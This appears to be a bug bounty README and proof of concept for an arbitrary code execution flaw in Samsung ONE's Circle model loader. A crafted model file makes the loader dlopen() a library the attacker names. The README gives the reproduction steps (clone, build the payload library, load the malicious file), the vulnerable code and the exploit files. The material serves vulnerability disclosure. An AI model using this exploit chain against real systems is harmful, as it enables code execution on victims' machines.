Samsung ONE Circle Format — RUN_MODEL dlopen RCE (PoC)
Security Research | Huntr Bug Bounty Submission
Vulnerability Summary
A malicious .circle model file can force Samsung ONE's inference engine to dlopen() an
attacker-controlled shared library at model-load time, resulting in Arbitrary Code Execution.
Root cause: CircleLoader::loadRunModel() inruntime/onert/core/src/loader/CircleLoader.cc reads the RunModelOptions.location field
directly from the Circle FlatBuffers binary and derives a dynamic library name from its file
extension — with no allowlist check, no sanitization — then calls dlopen("lib<ext>_loader.so").
location = "trigger.evil"
→ extension = ".evil"
→ type = "evil"
→ dlopen("libevil_loader.so") ← entirely attacker-controlled
The malicious payload is embedded in the 412-byte malicious.circle FlatBuffers binary itself.
No nnpackage, no MANIFEST, no extra tooling needed — just load the model file.
Reproduction
# 1. Clone this repo
git clone https://huggingface.co/hoanghai2110/samsung-one-circle-runmodel-rce
cd samsung-one-circle-runmodel-rce
# 2. Build the payload .so
gcc -shared -fPIC -o libevil_loader.so libevil_loader.c
# 3. Trigger: load the malicious .circle model
LD_LIBRARY_PATH=$(pwd) python3 -c "
import nnfw # Samsung ONE Python bindings
s = nnfw.session()
s.load_model_from_file('malicious.circle')
# RCE fires during model load — no inference needed
"
# 4. Confirm code execution
cat /tmp/circle_runmodel_rce_confirmed
# → uid=1000(user) ...
Affected Code
| Field | Value |
|---|---|
| File | runtime/onert/core/src/loader/CircleLoader.cc |
| Function | CircleLoader::loadRunModel() lines 319-365 |
| Schema | nnpackage/schema/circle_schema.fbs |
| Operator | RUN_MODEL (BuiltinOperator = -8) |
| Options table | table RunModelOptions { location: string; } |
Files in This Repo
| File | Description |
|---|---|
malicious.circle |
412-byte malicious Circle file (CIR0 magic, RUN_MODEL op with location="trigger.evil") |
libevil_loader.c |
PoC payload source — spawns shell command on dlopen() |
build_malicious_circle.py |
Regenerate the malicious Circle file from scratch |
Vulnerable Code Snippet
// CircleLoader.cc loadRunModel() — lines 339-351
auto location = options->location()->str(); // ← READ FROM .circle FILE
auto model_path = (location.find(';') == std::string::npos)
? model_base_path / location // relative path join
: std::filesystem::path(location); // or absolute if ';' present
auto extension = model_path.extension().string();
auto type = extension.substr(1); // ".evil" → "evil"
auto model = onert::loader::loadModel(model_path.string(), type);
// ↑ calls dlopen("lib" + type + "_loader.so") NO VALIDATION
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support